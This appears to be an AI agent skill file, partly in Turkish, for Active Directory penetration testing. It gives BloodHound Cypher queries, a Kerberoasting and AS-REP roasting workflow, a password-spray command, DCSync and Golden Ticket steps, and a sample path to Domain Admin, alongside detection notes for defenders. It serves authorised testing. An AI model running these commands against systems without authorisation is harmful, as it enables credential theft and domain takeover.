Pentest Ad

pentest-ad

Internal pentest Active Directory advisory. BloodHound graph, Kerberos zafiyet sinifi, ACL abuse, lateral path. Live komut composer'lama scope deklare ile.

Triggers

• "AD pentest"
• "BloodHound graph analizi"
• "Kerberoast hash buldum"
• "DCSync edebilir miyim"
• "lateral movement plani"
• "Golden Ticket"
• "NTLM relay"
• "AD CS abuse"

Methodology Akisi

1. Enum: SMB, LDAP, DNS, GPP (passive ilk)
2. Cred: kerbrute users -> AS-REP roasting (no preauth) -> hashcat
3. Foothold: low-priv shell (phish/web/initial)
4. Recon: BloodHound -> high-value path
5. Privesc: ACL abuse, Kerberos delegation, GPO modify
6. Lateral: PtH, PtT, NTLM relay, WinRM, RDP
7. DA: DCSync (Replicating Changes), Golden Ticket (offline)
8. Persistence: Skeleton key, AdminSDHolder (TIER 2, scope-zorunlu)

BloodHound Graph Analizi

Kullanici BloodHound JSON export verirse skill su queries calistirir (Cypher):

// Shortest path to Domain Admin from owned user
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN p LIMIT 5

// Kerberoastable users with priv access
MATCH (u:User {hasspn:true})-[:MemberOf|AdminTo*1..]->(c:Computer)
WHERE u.enabled=true
RETURN u.name, c.name

// AS-REP roastable
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.serviceprincipalnames

// Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.distinguishedname

// GPO modify riski
MATCH (g:GPO)<-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]-(u)
RETURN g.name, u.name

Yaygin AD Zafiyet Sinifi

Onerilen Komutlar (Scope Gerekli)

# QUIET — anonymous LDAP enum
ldapsearch -x -H ldap://<dc-ip> -b "DC=domain,DC=local" -s sub

# MODERATE — Kerberos user enum (no auth needed)
kerbrute userenum --dc <dc-ip> -d domain.local users.txt

# MODERATE — AS-REP roast (cred yok)
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <dc-ip>

# MODERATE — Kerberoast (cred ile)
GetUserSPNs.py domain.local/user:password -dc-ip <dc-ip> -request

# MODERATE — BloodHound collection
bloodhound-python -u user -p password -d domain.local -ns <dc-ip> -c All

# LOUD — NetExec spray (single password, all users)
nxc smb <range> -u users.txt -p 'Spring2026!' --continue-on-success

OPSEC Notlari

• AS-REP roast: domain controller event 4768 (Kerberos pre-auth failure) — DETECT edilir
• Kerberoast: TGS-REQ event 4769 + service ticket encryption type 0x17 (RC4) — anormallik
• BloodHound: massive LDAP query trafik (default coll). Yavasla: --throttle 30
• NetExec spray: tek password tum users -> account lockout policy tetiklenir (3 yanlis -> 30dk kilit yaygin)

Bulgu Output Sablonu

## AD Compromise Path — <domain>

### Owned Path
1. anonymous SMB shares -> credentials.txt buldum
2. cred: backup-svc / Backup2024!
3. backup-svc Kerberoastable -> hash crack 4 dakika
4. backup-svc -> ServerAdmins group member
5. ServerAdmins -> WriteDacl on Domain Admins
6. Tek komut: net group "Domain Admins" attacker /add -> DA

### Detection Gap (Defansif Cikti)
- Anonymous SMB share access NOT logged
- ServerAdmins WriteDacl change NOT detected (no Event 5136 alert)
- Onerilen Sigma rule: pentest-detection altinda

Out-of-Scope

• Live exploit calistirma (GenericAll abuse Bash composer'i scope ile)
• Persistent backdoor (Skeleton Key gibi) — engagement disinda kalir
• DC fiziksel attack